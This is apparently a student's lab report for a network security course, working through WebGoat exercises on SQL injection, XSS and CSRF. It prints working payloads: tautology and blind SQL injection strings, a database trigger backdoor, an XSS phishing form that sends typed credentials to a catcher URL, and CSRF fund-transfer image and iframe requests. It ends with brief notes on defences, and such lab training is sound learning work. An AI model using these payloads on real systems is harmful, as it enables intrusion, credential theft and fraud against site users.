20175314 2020-5 《网络对抗技术》Exp9 Web安全基础 Week12
一、实践目标
1、实践对象
- Kali Linux
2、实践内容
- Webgoat实践下相关实验
- 理解常用网络攻击技术的基本原理
二、基础知识
1、实践要求
- 包括(SQL,XSS,CSRF)不少于7个题目
2、指令/参数
- 运行Webgoat
java -jar xxx.jar
3、预备知识
WebGoat
-
OWASP组织研制出的用于进行Web漏洞实验的应用平台,用来说明Web应用中存在的安全漏洞。其运行在带有Java虚拟机的平台之上,并提供了一系列Web安全学习的教程,来指导用户利用这些漏洞进行攻击
-
下载Jar包webgoat-container-7.0.1-war-exec.jar
# 将Jar包移动至文件目录下,执行命令运行Webgoat java -jar webgoat-container-7.0.1-war-exec.jar
-
Webgoat占用8080端口
-
浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面
-
左侧栏显示课程
数据库
- 常作为一个Web应用程序的后端来使用,也用来作为存储的媒介,也可以被用来作为如触发器类的存储恶意活动的地方
- 触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete
- 攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址
SQL注入攻击
- 数据库攻击的常用手段,没有对用户输入数据的合法性进行判断的应用程序存在安全隐患,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据
- 某些SQL注入没有明确返回信息,只能通过条件的真假进行判断,攻击者必须充分利用查询语句,构造子查询语句
- 服务端页面返回的信息只有两种:帐号有效或无效,因此无法简单地查询到帐号的PIN值
- 可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
,如果该查询语句返回了帐号的信息页面将提示帐号有效,否则提示无效
XSS攻击
- 通过钓鱼工具或向某些官方页面中增加内容,设定参数保证受害者难以发现该内容是否存在威胁
CSRF攻击
- 通过伪装来自受信任用户的请求来利用受信任的网站
三、实践步骤
(一)SQL注入攻击
1、Command Injection(命令注入)
- 目标 能够在目标主机上执行任何系统命令
- 右键点击复选框选择
Inspect
审查网页元素对源代码<option>
进行修改
- 点击
View
可以看到网络端口使用情况和IP地址
2、Numeric SQL Injection(数字型SQL注入)
- 目标 显示天气情况
- 审查网页元素对源代码
value="101"
进行修改,在城市编号101后添加or 1=1
3、Log Spoofing(日志欺骗)
- 目标 用户名为admin的用户在日志中显示成功登录
- 利用回车
0D%
和换行符%0A
让其在日志中两行显示 - 在
User Name
中填入webgoat%0d%0aLogin Succeeded for username: mark20175314
- 点击
Login
可以看到webgoat Login Fail
,自己添加的mark20175314 Login Succeeded
4、String SQL Injection(字符串型注入)
- 目标 基于查询语句构造自己的SQL注入字符串,显示所有信用卡信息
- 使用
'
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容 - 输入查询的用户名
mark' or 1=1--
select表里面的所有数据
5、LAB: SQL Injection
- 目标 使用SQL注入绕过认证
- 输入密码
' or 1=1 --
登录失败,结果只有部分输入说明密码长度有限制
- 审查网页元素对源代码
maxlength
进行修改后重新登录成功
6、Database Backdoors(数据库后门)
- 输入用户ID
101
得到该用户信息,没有验证语句容易进行SQL注入
- 输入用户ID两个语句
101; update employee set salary=10000
使用;
分隔
- 输入用户ID
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
7、Blind Numeric SQL Injection(数字型盲注入)
- 使用AND函数添加一些额外的查询条件,若同为真则返回结果应提示帐号有效,否则无效
- 输入
101 AND 1=1
,条件都成立页面返回Account number is valid.
- 输入
101 AND 1=2
,返回Invalid account number.
- 针对查询语句的后半部分构造复杂语句,判断PIN数值是否大于10000
- 输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000
- 输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
调整数值缩小判断范围
- 最终得到正确PIN值
2364
,输入验证
8、Blind String SQL Injection(字符串型盲注入)
- 目标 找到PINs表中cc_number字段值为4321432143214321的记录中pin字段的数值,输入PIN字段类型varchar
- 使用SUBSTRING方法,取PIN字段数值的第一个字母,并判断其是否比字母H小,输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
- 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
- 最终的都正确PIN字段
Jill
输入验证
(二)XSS攻击
1、Phishing with XSS
- 目标 创建一个form要求填写用户名和密码
- 在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
2、Stored XSS Attacks
- 目标 常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
- 在留言板输入
<script>alert("20175314 attack succeed Shazam!");</script>
后点击Submit
攻击成功
3、Reflected XSS Attacks
- 目标 通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
- 序列码输入
<script>alert(" 20175314mark");</script>
后点击Submit
,显示内容为script脚本指定的警告框
(三)CSRF攻击
1、Cross Site Request Forgery(CSRF)
- 目标 向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求
- 查看确定
Parameters
中的scr
和menu
- 在消息栏输入```
&transferFunds=5314
即转走的受害人的金额,宽高设置成1像素的目的是隐藏该图片- 以图片的的形式将URL放进Message框,此时URL对其他用户是不可见的,用户点击图片会触发CSRF事件
- 点击
Submit
,在Message List中生成以Title命名的链接,点击显示当前页面并下载这个消息转走用户的5314元,实现CSRF攻击
2、CSRF Prompt By-Pass
- 查看确定
Parameters
中的scr
和menu
- 在消息栏中输入
<iframe src="attack?Screen=325&menu=900&transferFunds=5314"> </iframe> <iframe src="attack?Screen=325&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
生成以Title
命名的链接,点击链接攻击成功
四、实践报告
1、遇到的问题
启动WebGoat登录后左侧栏没有相应的课程
- 解决方案 原因是JDK版本不匹配,需要下载JDK1.8并配置好环境变量
- 建立目录并解压JDK
sudo su mkdir -p /usr/local/java cp jdk-8u251-linux-x64.tar.gz /usr/local/java cd /usr/local/java tar xzvf jdk-8u91-linux-x64.tar.gz
- 配置环境变量
vim /etc/profile # 复制代码到文件结尾 JAVA_HOME=/usr/local/java/jdk1.8.0_251 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
- 更新Java的位置并设置默认JDK后重新载入profile,就可以
java -version
查看安装结果update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_251/bin/java" 1 update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_251/bin/javac" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_251/bin/javaws" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_251/bin/javaws" 1 update-alternatives --set java /usr/local/java/jdk1.8.0_251/bin/java update-alternatives --set javac /usr/local/java/jdk1.8.0_251/bin/javac update-alternatives --set javaws /usr/local/java/jdk1.8.0_251/bin/javaws source /etc/profile
2、基础问题回答
- (1)SQL注入攻击原理,如何防御
- 原理 Web应用对后台数据库查询语句处理存在的安全漏洞。即输入字符串中嵌入SQL指令,设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果;
- 防御手段 禁止提交含有特殊字符的字符串,加密数据库中的内容等。
- (2)XSS攻击的原理,如何防御
- 原理 利用站点内的信任用户在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行;
- 防御手段 提交表单时检测特殊字符或网站开发者运用转义安全字符手段消除网站的XSS漏洞等。
- (3)CSRF攻击原理,如何防御
- 原理 通过伪装来自受信任用户的请求来利用受信任的网站(钓鱼网站);
- 防御手段 对于每一个重要的post提交页面都使用验证码。网页包含web server产生的token, 提交时也将该token提交到服务器,服务器进行判断,如果token不对就判定为CSRF攻击;定期清理cookie或不使用cookie。
3、实践收获与感想
- 通过本次实验简单学习了SQL注入攻击、XSS攻击和CSRF攻击,了解了这些攻击的原理,操作虽然简单,但是想要深入理解并加以运用还是具有一定难度的,即使没有深入学习但是也拓宽了自己的知识面;
- 作为本课程的最后一个实验进行地比较顺利,能够圆满完成本课程的学习内容我感觉到有一定的成就感,未来一定会有更多的机会在更多的领域磨练自己,养成一个勤加积累的好习惯让自己逐渐成长。